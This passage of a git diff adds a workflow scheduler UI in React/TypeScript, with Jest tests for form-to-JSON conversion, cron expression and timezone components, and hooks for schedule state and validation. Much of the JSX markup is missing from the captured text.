numeric timestamp for a Date object", () => { + const d = new Date("2024-06-01T00:00:00Z"); + expect(getDateFromField(d as any)).toBe(d.valueOf()); + }); +}); + +describe("formToCodeData", () => { + it("returns correct body structure for valid state", () => { + const result = formToCodeData(baseScheduleState, { id: "sched-id-1" }); + + expect(result).not.toBeNull(); + expect(result!.name).toBe("my-schedule"); + expect(result!.cronExpression).toBe("0 0 12 * * ?"); + expect(result!.paused).toBe(false); + expect(result!.runCatchupScheduleInstances).toBe(true); + expect(result!.zoneId).toBe("UTC"); + // @ts-expect-error startWorkflowRequest is on the body + expect(result!.startWorkflowRequest.name).toBe("myWorkflow"); + // @ts-expect-error + expect(result!.startWorkflowRequest.version).toBe("1"); + // @ts-expect-error + expect(result!.startWorkflowRequest.input).toEqual({ key: "value" }); + // @ts-expect-error + expect(result!.startWorkflowRequest.taskToDomain).toEqual({ + task1: "domain1", + }); + // @ts-expect-error + expect(result!.startWorkflowRequest.priority).toBe("5"); + // @ts-expect-error + expect(result!.startWorkflowRequest.correlationId).toBe("corr-123"); + // @ts-expect-error + expect(result!.id).toBe("sched-id-1"); + }); + + it("uses empty object when workflowInputTemplate is empty", () => { + const state = { ...baseScheduleState, workflowInputTemplate: "" }; + const result = formToCodeData(state, null); + // @ts-expect-error + expect(result!.startWorkflowRequest.input).toEqual({}); + }); + + it("uses empty object when taskToDomain is empty", () => { + const state = { ...baseScheduleState, taskToDomain: "" }; + const result = formToCodeData(state, null); + // @ts-expect-error + expect(result!.startWorkflowRequest.taskToDomain).toEqual({}); + }); + + it("returns null when workflowInputTemplate is invalid JSON", () => { + const state = { ...baseScheduleState, workflowInputTemplate: "{bad json" }; + expect(formToCodeData(state, null)).toBeNull(); + }); + + it("returns null when taskToDomain is invalid JSON", () => { + const state = { ...baseScheduleState, taskToDomain: "{bad json" }; + expect(formToCodeData(state, null)).toBeNull(); + }); + + it("converts scheduleStartTime and scheduleEndTime to timestamps", () => { + const state = { + ...baseScheduleState, + scheduleStartTime: "2024-01-01T00:00:00Z", + scheduleEndTime: "2025-01-01T00:00:00Z", + }; + const result = formToCodeData(state, null); + expect(result!.scheduleStartTime).toBe( + new Date("2024-01-01T00:00:00Z").valueOf(), + ); + expect(result!.scheduleEndTime).toBe( + new Date("2025-01-01T00:00:00Z").valueOf(), + ); + }); +}); + +describe("codeToFormData", () => { + const scheduleJson = JSON.stringify({ + name: "my-schedule", + description: "A description", + cronExpression: "0 0 8 * * ?", + paused: true, + runCatchupScheduleInstances: false, + scheduleStartTime: 1704067200000, + scheduleEndTime: 1735689600000, + zoneId: "America/New_York", + startWorkflowRequest: { + name: "workflowA", + version: "3", + input: { param1: "val1" }, + correlationId: "corr-abc", + idempotencyKey: "idem-abc", + taskToDomain: { taskA: "domainA" }, + priority: "2", + }, + }); + + it("maps all top-level fields correctly", () => { + const result = codeToFormData(scheduleJson, { + ...baseScheduleState, + workflowVersions: ["1", "2", "3"], + }); + + expect(result.name).toBe("my-schedule"); + expect(result.description).toBe("A description"); + expect(result.cronExpression).toBe("0 0 8 * * ?"); + expect(result.paused).toBe(true); + expect(result.runCatchupScheduleInstances).toBe(false); + expect(result.zoneId).toBe("America/New_York"); + }); + + it("maps startWorkflowRequest fields correctly", () => { + const result = codeToFormData(scheduleJson, baseScheduleState); + + expect(result.workflowType).toBe("workflowA"); + expect(result.workflowVersion).toBe("3"); + expect(result.workflowCorrelationId).toBe("corr-abc"); + expect(result.workflowIdempotencyKey).toBe("idem-abc"); + expect(result.priority).toBe("2"); + }); + + it("serializes input and taskToDomain back to JSON strings", () => { + const result = codeToFormData(scheduleJson, baseScheduleState); + + expect(JSON.parse(result.workflowInputTemplate)).toEqual({ + param1: "val1", + }); + expect(JSON.parse(result.taskToDomain)).toEqual({ taskA: "domainA" }); + }); + + it("preserves workflowVersions from scheduleState", () => { + const state = { ...baseScheduleState, workflowVersions: ["v1", "v2"] }; + const result = codeToFormData(scheduleJson, state); + expect(result.workflowVersions).toEqual(["v1", "v2"]); + }); + + it("returns empty strings for missing name and description", () => { + const result = codeToFormData("{}", baseScheduleState); + expect(result.name).toBe(""); + expect(result.description).toBe(""); + expect(result.cronExpression).toBe(""); + }); + + it("coerces paused and runCatchupScheduleInstances to boolean", () => { + const result = codeToFormData( + JSON.stringify({ paused: 0, runCatchupScheduleInstances: 1 }), + baseScheduleState, + ); + expect(result.paused).toBe(false); + expect(result.runCatchupScheduleInstances).toBe(true); + }); + + it("converts timestamps to local date strings", () => { + const result = codeToFormData(scheduleJson, baseScheduleState); + // timestampRendererLocal returns "yyyy-MM-dd'T'HH:mm" format + expect(result.scheduleStartTime).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}$/); + expect(result.scheduleEndTime).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}$/); + }); + + it("returns empty string for missing timestamps", () => { + const result = codeToFormData("{}", baseScheduleState); + expect(result.scheduleStartTime).toBe(""); + expect(result.scheduleEndTime).toBe(""); + }); +}); diff --git a/ui-next/src/pages/scheduler/components/CronExpressionSection.tsx b/ui-next/src/pages/scheduler/components/CronExpressionSection.tsx new file mode 100644 index 0000000..bde3ba6 --- /dev/null +++ b/ui-next/src/pages/scheduler/components/CronExpressionSection.tsx @@ -0,0 +1,329 @@ +import { + Box, + Grid, + MenuItem, + Paper, + SxProps, + Theme, + useMediaQuery, +} from "@mui/material"; +import { Text } from "components"; +import MuiTypography from "components/ui/MuiTypography"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import ConductorSelect from "components/ui/inputs/ConductorSelect"; +import cronstrue from "cronstrue"; +import { + formatInTimeZone, + guessUserTimeZone, + parseDateInTimeZone, +} from "utils/date"; +import { CRON_COLORS_BY_POSITION } from "../constants"; +import CronExpressionHelp from "../CronExpressionHelp"; +import { TimezonePicker } from "../TimezonePicker"; + +const cronSamples = [ + "* * * ? * *", + "0 * * ? * *", + "0 */2 * ? * *", + "0 1/2 * ? * *", + "0 */30 * ? * *", + "0 15,30,45 * ? * *", + "0 0 * ? * *", + "0 0 */2 ? * *", + "0 0 0/2 ? * *", + "0 0 1/2 ? * *", + "0 0 0 * * ?", + "0 0 1 * * ?", + "0 0 6 * * ?", + "0 0 12 ? * SUN", + "0 0 12 ? * MON-FRI", + "0 0 12 ? * SUN,SAT", + "0 0 12 */7 * ?", + "0 0 12 1 * ?", + "0 0 12 15 * ?", + "0 0 12 1/4 * ?", + "0 0 12 L * ?", + "0 0 12 L-2 * ?", + "0 0 12 1W * ?", + "0 0 12 15W * ?", + "0 0 12 ? * 2#1", + "0 0 12 ? * 6#2", + "0 0 12 ? JAN *", + "0 0 12 ? JAN,JUN *", + "0 0 12 ? JAN,FEB,APR *", + "0 0 12 ? 9-12 *", +]; + +const utcWinWidth = "180px"; +const browserTimeMinWidth = "230px"; + +interface CronExpressionSectionProps { + cronExpression: string; + setCronExpression: (value: string, timezone: string) => void; + futureMatches: string[]; + humanizedExpression: string; + highlightedPart: number | null; + getHighlightedPart: (value: string, selectionStart: number) => void; + setHighlightedPart: (part: number | null) => void; + selectedTemplate: string; + setSelectedTemplate: (template: string) => void; + timezone: string; + setZoneId: (value: string) => void; + cronError?: string; + minWidthCronExpression: string; +} + +export function CronExpressionSection({ + cronExpression, + setCronExpression, + futureMatches, + humanizedExpression, + highlightedPart, + getHighlightedPart, + setHighlightedPart, + selectedTemplate, + setSelectedTemplate, + timezone, + setZoneId, + cronError, + minWidthCronExpression, +}: CronExpressionSectionProps) { + const isMDWidth = useMediaQuery((theme: Theme) => theme.breakpoints.up("md")); + + const timeListStyle: SxProps = { + flexWrap: isMDWidth ? "nowrap" : "wrap", + justifyContent: "start", + }; + + return ( + + + + + + Cron Expressions Help + + + + { + setCronExpression(e.target.value, timezone); + setSelectedTemplate(e.target.value); + }} + value={selectedTemplate} + sx={{ + ".MuiInputBase-root": { + ".MuiSelect-select": { + minHeight: "2.7em", + }, + }, + }} + > + {cronSamples && + cronSamples.map((cs, i) => { + return ( + + + + {cs.split(" ").map((cronExpressionFragment, index) => { + return ( + + {cronExpressionFragment} + + ); + })} + + + {cronstrue.toString(cs)} + + + + ); + })} + + + + + + + setCronExpression(value, timezone) + } + onKeyDown={(e: any) => { + getHighlightedPart(e.target.value, e.target.selectionStart); + }} + onKeyUp={(e: any) => { + getHighlightedPart(e.target.value, e.target.selectionStart); + }} + onClick={(e: any) => { + getHighlightedPart(e.target.value, e.target.selectionStart); + }} + onBlur={(_e) => { + setHighlightedPart(null); + }} + error={cronError !== undefined} + helperText={cronError} + inputProps={{ + sx: { + fontSize: "1.3rem", + }, + }} + /> + + { + setZoneId(value); + setCronExpression(cronExpression, value); + }} + /> + + + + {futureMatches && ( + + + Next run schedules based on the expression: + + {cronExpression && ( + + {humanizedExpression} ({timezone}) + + )} + {futureMatches && futureMatches.length === 0 && ( + No schedules possible + )} + {futureMatches?.length > 0 && ( + + + + {timezone} Time + + {futureMatches.map((time) => { + const parsed = parseDateInTimeZone(time, timezone); + const formatted = formatInTimeZone( + parsed, + "yyyy-MM-dd HH:mm:ss zzz", + timezone, + ); + + return ( + + {formatted} + + ); + })} + + + + + Browser local time + + {futureMatches.map((time) => { + const browserTz = guessUserTimeZone(); + const formatted = formatInTimeZone( + new Date(time), + "yyyy-MM-dd HH:mm:ss zzz", + browserTz, + ); + + return ( + + {formatted} + + ); + })} + + + )} + + )} + + + + + + ); +} diff --git a/ui-next/src/pages/scheduler/components/ScheduleTimingSection.tsx b/ui-next/src/pages/scheduler/components/ScheduleTimingSection.tsx new file mode 100644 index 0000000..b203e4e --- /dev/null +++ b/ui-next/src/pages/scheduler/components/ScheduleTimingSection.tsx @@ -0,0 +1,81 @@ +import { + FormControl, + FormControlLabel, + Grid, + InputLabel, + Switch, + Tooltip, +} from "@mui/material"; +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import ConductorDateRangePicker from "components/ui/date-time/ConductorDateRangePicker"; +import { baseLabelStyle } from "theme/styles"; +import { SMALL_EDITOR_DEFAULT_OPTIONS } from "utils/constants"; + +interface ScheduleTimingSectionProps { + scheduleStartTime: string | number; + scheduleEndTime: string | number; + handleScheduleStartTime: (value: number) => void; + handleScheduleEndTime: (value: number) => void; + taskToDomain: string; + setWorkflowTasksToDomainState: (value: string) => void; + paused: boolean; + setCronPausedState: () => void; +} + +export function ScheduleTimingSection({ + scheduleStartTime, + scheduleEndTime, + handleScheduleStartTime, + handleScheduleEndTime, + taskToDomain, + setWorkflowTasksToDomainState, + paused, + setCronPausedState, +}: ScheduleTimingSectionProps) { + return ( + <> + + + + + + + + + Start schedule paused? + + + setCronPausedState()} + /> + } + label="Pause schedule" + sx={{ mt: 3, mb: 3 }} + /> + + + + ); +} diff --git a/ui-next/src/pages/scheduler/components/WorkflowConfigSection.tsx b/ui-next/src/pages/scheduler/components/WorkflowConfigSection.tsx new file mode 100644 index 0000000..7b1969a --- /dev/null +++ b/ui-next/src/pages/scheduler/components/WorkflowConfigSection.tsx @@ -0,0 +1,101 @@ +import { Grid } from "@mui/material"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { SMALL_EDITOR_DEFAULT_OPTIONS } from "utils/constants"; +import { IdempotencyValuesProp } from "../../definition/RunWorkflow/state"; +import IdempotencyForm from "../../runWorkflow/IdempotencyForm"; + +interface WorkflowConfigSectionProps { + workflowType: string | null; + setWorkflowType: (workflowType: string) => void; + workflowVersion: string | null; + setWorkflowVersion: (workflowVersion: string | null) => void; + workflowVersions: string[]; + workflowNames: string[]; + workflowInputTemplate: string; + setWorkflowInputTemplate: (value: string) => void; + workflowCorrelationId: string; + setWorkflowCorrelationId: (value: string) => void; + idempotencyValues: { + idempotencyKey?: string; + idempotencyStrategy?: any; + }; + handleIdempotencyValues: (data: IdempotencyValuesProp) => void; + errors?: any; +} + +export function WorkflowConfigSection({ + workflowType, + setWorkflowType, + workflowVersion, + setWorkflowVersion, + workflowVersions, + workflowNames, + workflowInputTemplate, + setWorkflowInputTemplate, + workflowCorrelationId, + setWorkflowCorrelationId, + idempotencyValues, + handleIdempotencyValues, + errors, +}: WorkflowConfigSectionProps) { + return ( + <> + + setWorkflowType(val)} + value={workflowType} + error={errors?.["startWorkflowRequest.name"]} + helperText={errors ? errors["startWorkflowRequest.name"] : undefined} + /> + + + setWorkflowVersion(val)} + value={workflowVersion === "" ? "Latest version" : workflowVersion} + conductorInputProps={{ + tooltip: { + title: "Workflow version", + content: "Optional, by default the latest version is triggered", + }, + }} + /> + + + + + + + + + + + + + + ); +} diff --git a/ui-next/src/pages/scheduler/constants.ts b/ui-next/src/pages/scheduler/constants.ts new file mode 100644 index 0000000..7ceb969 --- /dev/null +++ b/ui-next/src/pages/scheduler/constants.ts @@ -0,0 +1,8 @@ +export const CRON_COLORS_BY_POSITION = [ + "#4FAAD1", + "#6569AC", + "#45AC59", + "#C99E00", + "#EE6B31", + "#CE2836", +]; diff --git a/ui-next/src/pages/scheduler/hooks/useCronExpression.ts b/ui-next/src/pages/scheduler/hooks/useCronExpression.ts new file mode 100644 index 0000000..0cbe6e9 --- /dev/null +++ b/ui-next/src/pages/scheduler/hooks/useCronExpression.ts @@ -0,0 +1,231 @@ +import * as cronjsMatcher from "@datasert/cronjs-matcher"; +import cronstrue from "cronstrue"; +import { useCallback, useEffect, useMemo, useRef, useState } from "react"; +import { cronExpressionIsValid } from "utils/cronHelpers"; +import { formatInTimeZone } from "utils/date"; + +export interface UseCronExpressionReturn { + cronExpression: string; + setCronExpression: (value: string, timezone: string) => void; + futureMatches: string[]; + humanizedExpression: string; + cronError: string | undefined; + highlightedPart: number | null; + setHighlightedPart: (part: number | null) => void; +} + +const resolveTimezone = (value?: string) => value || "UTC"; + +/** + * Calculate future matches for cron expressions with L-n pattern (e.g., L-2 for 2 days before last day of month) + * since JavaScript cron libraries don't support this Quartz syntax + */ +function calculateLastDayOffsetMatches( + cronExpression: string, + timezone: string, + count: number = 10, +): string[] { + // Parse cron expression: seconds minutes hours dayOfMonth month dayOfWeek + const parts = cronExpression.trim().split(/\s+/); + if (parts.length < 6) { + return []; + } + + const [seconds, minutes, hours, dayOfMonth, month, dayOfWeek] = parts; + + // Extract offset from L-n pattern + const match = dayOfMonth.match(/^L-(\d+)$/); + if (!match) { + return []; + } + + const offset = parseInt(match[1], 10); + const matches: string[] = []; + const now = new Date(); + // eslint-disable-next-line prefer-const + let currentDate = new Date(now); + + // Look ahead up to 24 months to find matches + let monthsChecked = 0; + while (matches.length < count && monthsChecked < 24) { + const year = currentDate.getFullYear(); + const monthNum = currentDate.getMonth(); + + // Get last day of month + const lastDayOfMonth = new Date(year, monthNum + 1, 0); + const targetDay = lastDayOfMonth.getDate() - offset; + + if (targetDay > 0) { + // Set time from cron expression + const hour = hours === "*" || hours === "?" ? 0 : parseInt(hours, 10); + const minute = + minutes === "*" || minutes === "?" ? 0 : parseInt(minutes, 10); + const second = + seconds === "*" || seconds === "?" ? 0 : parseInt(seconds, 10); + + // Create potential match date in UTC + const matchDate = new Date( + Date.UTC(year, monthNum, targetDay, hour, minute, second), + ); + + // Only include if it's in the future + if (matchDate > now) { + // Check day of week constraint if specified + if (dayOfWeek !== "*" && dayOfWeek !== "?") { + const dow = matchDate.getDay(); // 0 = Sunday + const expectedDow = parseInt(dayOfWeek, 10); + if (dow !== expectedDow) { + currentDate.setMonth(currentDate.getMonth() + 1); + monthsChecked++; + continue; + } + } + + // Check month constraint if specified + if (month !== "*" && month !== "?") { + const expectedMonth = parseInt(month, 10); + if (monthNum + 1 !== expectedMonth) { + currentDate.setMonth(currentDate.getMonth() + 1); + monthsChecked++; + continue; + } + } + + // Format in the specified timezone + const formatted = formatInTimeZone( + matchDate, + "yyyy-MM-dd HH:mm:ss", + timezone, + ); + matches.push(formatted); + } + } + + // Move to next month + currentDate.setMonth(currentDate.getMonth() + 1); + monthsChecked++; + } + + return matches; +} + +export function useCronExpression( + initialCronExpression: string = "", + timezone: string = "UTC", + onError?: (error: string | undefined) => void, +): UseCronExpressionReturn { + const [cronExpression, setCronExpressionState] = useState( + initialCronExpression, + ); + const [activeTimezone, setActiveTimezone] = useState(() => + resolveTimezone(timezone), + ); + const [highlightedPart, setHighlightedPart] = useState(null); + + // Sync with props changes + const prevInitialRef = useRef(initialCronExpression); + const prevTimezoneRef = useRef(timezone); + + if ( + initialCronExpression !== prevInitialRef.current || + timezone !== prevTimezoneRef.current + ) { + setCronExpressionState(initialCronExpression); + setActiveTimezone(resolveTimezone(timezone)); + prevInitialRef.current = initialCronExpression; + prevTimezoneRef.current = timezone; + } + + const validation = useMemo(() => { + if (!cronExpression.trim()) { + return { + matches: [] as string[], + humanized: "", + error: undefined, + }; + } + + try { + const validation = cronExpressionIsValid(cronExpression); + if (!validation.isValid) { + return { + matches: [], + humanized: "", + error: validation.errors || "Invalid cron expression", + }; + } + + // Check if expression contains Quartz L-n offset pattern (e.g., L-2) + // JavaScript cron libraries don't support this, so we calculate manually + const hasLastDayOffset = /\bL-\d+\b/.test(cronExpression); + + let matches: string[] = []; + let matchError: string | undefined; + + if (hasLastDayOffset) { + try { + matches = calculateLastDayOffsetMatches( + cronExpression, + activeTimezone || "UTC", + 10, + ); + if (matches.length === 0) { + matchError = + "Unable to calculate future matches for this expression"; + } + } catch { + matchError = + "Failed to calculate schedule times. Please verify the expression."; + } + } else { + try { + matches = cronjsMatcher.getFutureMatches(cronExpression, { + hasSeconds: true, + timezone: activeTimezone || "UTC", + }); + } catch { + // If getFutureMatches fails, the expression likely won't work + matchError = + "Unable to calculate future matches. This expression may not be supported."; + } + } + + return { + matches: matches.length > 0 ? matches : [], + humanized: cronstrue.toString(cronExpression), + error: matchError, + }; + } catch { + return { + matches: [], + humanized: "", + error: "Invalid cron expression format", + }; + } + }, [cronExpression, activeTimezone]); + + // Use ref to avoid re-triggering effect when onError changes + const onErrorRef = useRef(onError); + useEffect(() => { + onErrorRef.current = onError; + }); + + useEffect(() => { + onErrorRef.current?.(validation.error); + }, [validation.error]); + + const setCronExpression = useCallback((value: string, tz: string) => { + setCronExpressionState(value); + setActiveTimezone(resolveTimezone(tz)); + }, []); + + return { + cronExpression, + setCronExpression, + futureMatches: validation.matches, + humanizedExpression: validation.humanized, + cronError: validation.error, + highlightedPart, + setHighlightedPart, + }; +} diff --git a/ui-next/src/pages/scheduler/hooks/useScheduleFormHandlers.ts b/ui-next/src/pages/scheduler/hooks/useScheduleFormHandlers.ts new file mode 100644 index 0000000..035244a --- /dev/null +++ b/ui-next/src/pages/scheduler/hooks/useScheduleFormHandlers.ts @@ -0,0 +1,193 @@ +import React, { useCallback } from "react"; +import { IdempotencyValuesProp } from "../../definition/RunWorkflow/state"; +import { IdempotencyStrategyEnum } from "../../runWorkflow/types"; +import { ScheduleType } from "../Schedule"; + +export interface UseScheduleFormHandlersReturn { + setScheduleNewState: (key: string, value: string) => void; + setZoneId: (value: string) => void; + setCronPausedState: () => void; + setWorkflowInputTemplatesState: (value: string) => void; + setWorkflowTasksToDomainState: (value: string) => void; + setWorkflowCorrelationIdState: (value: string) => void; + handleIdempotencyValues: (data: IdempotencyValuesProp) => void; + handleScheduleStartTime: (value: number) => void; + handleScheduleEndTime: (value: number) => void; + getHighlightedPart: (value: string, selectionStart: number) => void; +} + +const scheduleNamePattern = /^[a-zA-Z0-9_]+$/; + +export function useScheduleFormHandlers( + scheduleState: ScheduleType, + setScheduleState: React.Dispatch>, + setErrors: React.Dispatch>, + clearError: (field: string) => void, + errors: any, + setCouldNotParseJson: (value: boolean) => void, + setHighlightedPart: (part: number | null) => void, +): UseScheduleFormHandlersReturn { + const setScheduleNewState = useCallback( + (key: string, value: string) => { + // Validate name field + if (key === "name") { + if (!value.trim()) { + // Set error for empty name + setErrors((prevErrors: any) => ({ + ...prevErrors, + name: "Name is required", + })); + } else if (!scheduleNamePattern.test(value)) { + // Set error for invalid name pattern + setErrors((prevErrors: any) => ({ + ...prevErrors, + name: "Name can only contain letters, numbers, and underscores.", + })); + } else { + // Clear error if name is valid + if (errors?.name) { + clearError("name"); + } + } + } else { + // For other fields, just clear error if it exists + if (errors?.[key]) { + clearError(key); + } + } + + setScheduleState((prevState) => ({ + ...prevState, + [key]: value, + })); + }, + [setScheduleState, setErrors, clearError, errors], + ); + + const setZoneId = useCallback( + (value: string) => { + if (errors?.zoneId) { + clearError("zoneId"); + } + setScheduleState((prevState) => ({ + ...prevState, + zoneId: value, + })); + }, + [setScheduleState, clearError, errors], + ); + + const setCronPausedState = useCallback(() => { + setScheduleState((prevState) => ({ + ...prevState, + paused: !prevState.paused, + })); + }, [setScheduleState]); + + const setWorkflowInputTemplatesState = useCallback( + (value: string) => { + try { + JSON.parse(value); + setCouldNotParseJson(false); + } catch { + setCouldNotParseJson(true); + return; + } + setScheduleState((prevState) => ({ + ...prevState, + workflowInputTemplate: value, + })); + }, + [setScheduleState, setCouldNotParseJson], + ); + + const setWorkflowTasksToDomainState = useCallback( + (value: string) => { + try { + JSON.parse(value); + setCouldNotParseJson(false); + } catch { + setCouldNotParseJson(true); + return; + } + setScheduleState((prevState) => ({ + ...prevState, + taskToDomain: value, + })); + }, + [setScheduleState, setCouldNotParseJson], + ); + + const setWorkflowCorrelationIdState = useCallback( + (value: string) => { + setScheduleState((prevState) => ({ + ...prevState, + workflowCorrelationId: value, + })); + }, + [setScheduleState], + ); + + const handleIdempotencyValues = useCallback( + (data: IdempotencyValuesProp) => { + const idempotencyStrategy = () => { + if (data.idempotencyStrategy) { + return data.idempotencyStrategy; + } + if (scheduleState?.workflowIdempotencyStrategy) { + return scheduleState?.workflowIdempotencyStrategy; + } + return IdempotencyStrategyEnum.RETURN_EXISTING; + }; + setScheduleState((prevState) => ({ + ...prevState, + workflowIdempotencyKey: data?.idempotencyKey, + workflowIdempotencyStrategy: data?.idempotencyKey + ? idempotencyStrategy() + : undefined, + })); + }, + [scheduleState, setScheduleState], + ); + + const handleScheduleStartTime = useCallback( + (value: number) => { + setScheduleState((prevState) => ({ + ...prevState, + scheduleStartTime: value, + })); + }, + [setScheduleState], + ); + + const handleScheduleEndTime = useCallback( + (value: number) => { + setScheduleState((prevState) => ({ + ...prevState, + scheduleEndTime: value, + })); + }, + [setScheduleState], + ); + + const getHighlightedPart = useCallback( + (value: string, selectionStart: number) => { + const partsUntilCursor = value.substring(0, selectionStart).split(" "); + setHighlightedPart(partsUntilCursor.length - 1); + }, + [setHighlightedPart], + ); + + return { + setScheduleNewState, + setZoneId, + setCronPausedState, + setWorkflowInputTemplatesState, + setWorkflowTasksToDomainState, + setWorkflowCorrelationIdState, + handleIdempotencyValues, + handleScheduleStartTime, + handleScheduleEndTime, + getHighlightedPart, + }; +} diff --git a/ui-next/src/pages/scheduler/hooks/useScheduleState.ts b/ui-next/src/pages/scheduler/hooks/useScheduleState.ts new file mode 100644 index 0000000..2e70a43 --- /dev/null +++ b/ui-next/src/pages/scheduler/hooks/useScheduleState.ts @@ -0,0 +1,174 @@ +import React, { useMemo, useState } from "react"; +import { timestampRendererLocal } from "utils/date"; +import { getTemplateFromInputParams } from "../../runWorkflow/runWorkflowUtils"; +import { ScheduleType } from "../Schedule"; + +export interface UseScheduleStateReturn { + scheduleState: ScheduleType; + setScheduleState: React.Dispatch>; + original: Partial; + setOriginal: React.Dispatch>>; + initializeFromSchedule: (schedule: any) => void; + initializeFromExecution: (latestExecution: any) => void; +} + +const initialState: ScheduleType = { + name: "", + description: "", + cronExpression: "", + paused: false, + runCatchupScheduleInstances: false, + workflowType: null, + workflowVersion: null, + workflowVersions: [], + workflowInputTemplate: "", + taskToDomain: "", + workflowCorrelationId: "", + workflowIdempotencyKey: undefined, + workflowIdempotencyStrategy: undefined, + workflowDef: null, + externalInputPayloadStoragePath: undefined, + scheduleStartTime: "", + scheduleEndTime: "", + priority: "", + zoneId: "UTC", +}; + +export function useScheduleState( + latestExecution: any, + _schedule: any, +): UseScheduleStateReturn { + const memorizedState = useMemo( + () => ({ + ...initialState, + workflowType: latestExecution?.workflowName || null, + workflowVersion: latestExecution?.workflowVersion + ? `${latestExecution?.workflowVersion}` + : null, + workflowInputTemplate: + latestExecution?.workflowDefinition?.inputParameters && + latestExecution.workflowDefinition.inputParameters.length > 0 + ? getTemplateFromInputParams( + latestExecution?.workflowDefinition?.inputParameters, + ) + : "", + taskToDomain: latestExecution?.taskToDomain + ? JSON.stringify(latestExecution.taskToDomain, null, 2) + : "", + }), + [latestExecution], + ); + + const [scheduleState, setScheduleState] = + useState(memorizedState); + const [original, setOriginal] = useState>({ + paused: false, + runCatchupScheduleInstances: false, + name: "", + description: "", + cronExpression: "", + scheduleStartTime: "", + scheduleEndTime: "", + zoneId: "UTC", + startWorkflowRequest: { + name: null, + version: null, + input: {}, + correlationId: "", + taskToDomain: {}, + priority: "", + }, + }); + + const initializeFromSchedule = useMemo( + () => (schedule: any) => { + if (!schedule) return; + + const swr = schedule.startWorkflowRequest || {}; + const workflowInput = swr.input ? JSON.stringify(swr.input, null, 2) : ""; + const taskToDomainStr = swr.taskToDomain + ? JSON.stringify(swr.taskToDomain, null, 2) + : ""; + let cronExpression = schedule.cronExpression; + if (cronExpression === null) { + cronExpression = ""; + } + + const newState = { + name: schedule.name, + description: schedule.description || "", + cronExpression: cronExpression, + runCatchupScheduleInstances: schedule.runCatchupScheduleInstances, + paused: schedule.paused, + workflowType: swr.name, + workflowVersions: [], // Will be set by workflow config hook + workflowVersion: swr.version ? `${swr.version}` : "", + workflowCorrelationId: swr.correlationId, + workflowIdempotencyKey: swr?.idempotencyKey, + workflowIdempotencyStrategy: swr?.idempotencyStrategy, + workflowInputTemplate: workflowInput, + taskToDomain: taskToDomainStr, + workflowDef: JSON.stringify(swr.workflowDef), + externalInputPayloadStoragePath: swr.externalInputPayloadStoragePath, + priority: swr.priority, + scheduleStartTime: schedule.scheduleStartTime + ? timestampRendererLocal(schedule.scheduleStartTime) + : "", + scheduleEndTime: schedule.scheduleEndTime + ? timestampRendererLocal(schedule.scheduleEndTime) + : "", + zoneId: schedule.zoneId, + }; + + setScheduleState((prevState) => ({ ...prevState, ...newState })); + setOriginal({ + paused: schedule.paused, + runCatchupScheduleInstances: schedule.runCatchupScheduleInstances, + name: schedule.name, + description: schedule.description, + cronExpression: cronExpression, + scheduleStartTime: schedule.scheduleStartTime + ? schedule.scheduleStartTime + : "", + scheduleEndTime: schedule.scheduleEndTime + ? schedule.scheduleEndTime + : "", + startWorkflowRequest: { + name: swr.name, + version: swr.version ? `${swr.version}` : "", + input: JSON.parse(workflowInput || "{}"), + correlationId: swr.correlationId, + idempotencyKey: swr?.idempotencyKey, + idempotencyStrategy: swr?.idempotencyStrategy, + taskToDomain: JSON.parse(taskToDomainStr || "{}"), + externalInputPayloadStoragePath: swr.externalInputPayloadStoragePath, + priority: swr.priority, + }, + zoneId: schedule.zoneId, + }); + }, + [], + ); + + const initializeFromExecution = useMemo( + () => (latestExecution: any) => { + if (!latestExecution?.workflowName) return; + + const newState = { + workflowVersions: [], // Will be populated by workflow config hook + }; + + setScheduleState((prevState) => ({ ...prevState, ...newState })); + }, + [], + ); + + return { + scheduleState, + setScheduleState, + original, + setOriginal, + initializeFromSchedule, + initializeFromExecution, + }; +} diff --git a/ui-next/src/pages/scheduler/hooks/useWorkflowConfig.ts b/ui-next/src/pages/scheduler/hooks/useWorkflowConfig.ts new file mode 100644 index 0000000..7c16ed9 --- /dev/null +++ b/ui-next/src/pages/scheduler/hooks/useWorkflowConfig.ts @@ -0,0 +1,125 @@ +import _nth from "lodash/nth"; +import { useMemo } from "react"; +import { getTemplateFromInputParams } from "../../runWorkflow/runWorkflowUtils"; +import { IObject } from "types/common"; + +export interface UseWorkflowConfigReturn { + workflowNames: string[]; + workflowVersions: string[]; + workflowInputTemplate: string; + setWorkflowType: (workflowType: string) => { + workflowVersions: string[]; + workflowInputTemplate: string; + }; + setWorkflowVersion: ( + workflowVersion: string | null, + workflowType: string | null, + ) => { + workflowInputTemplate: string; + }; +} + +export function useWorkflowConfig( + workflowDefByVersions: any, + currentWorkflowType: string | null, + currentWorkflowVersions: string[], + currentWorkflowInputTemplate: string, +): UseWorkflowConfigReturn { + const workflowNames = useMemo( + () => + workflowDefByVersions + ? Array.from(workflowDefByVersions.get("lookups").keys()) + : [], + [workflowDefByVersions], + ); + + // Get workflow versions for the current workflow type + const workflowVersions = useMemo(() => { + if (currentWorkflowType && workflowDefByVersions) { + const versions = workflowDefByVersions + .get("lookups") + .get(currentWorkflowType); + return versions ? [...versions] : []; + } + return currentWorkflowVersions; + }, [currentWorkflowType, workflowDefByVersions, currentWorkflowVersions]); + + const setWorkflowType = useMemo( + () => (workflowType: string) => { + let workflowVersionsVal: string[] = []; + let def: IObject = {}; + + if (workflowType !== null) { + workflowVersionsVal = workflowDefByVersions + .get("lookups") + .get(workflowType); + } + + if (workflowVersionsVal && workflowVersionsVal.length > 0) { + const latestVersion = _nth( + workflowVersionsVal, + workflowVersionsVal.length - 1, + ); + if (latestVersion !== null) { + def = workflowDefByVersions + .get("values") + ?.get(workflowType ? workflowType : currentWorkflowType) + ?.get(latestVersion); + } + } + + return { + workflowVersions: [...workflowVersionsVal], + workflowInputTemplate: getTemplateFromInputParams( + def?.["inputParameters"], + ) + ? getTemplateFromInputParams(def?.["inputParameters"]) + : currentWorkflowInputTemplate, + }; + }, + [workflowDefByVersions, currentWorkflowType, currentWorkflowInputTemplate], + ); + + const setWorkflowVersion = useMemo( + () => (workflowVersion: string | null, workflowType: string | null) => { + let def: IObject = {}; + + if (workflowVersion !== null) { + const latestVersion = _nth( + 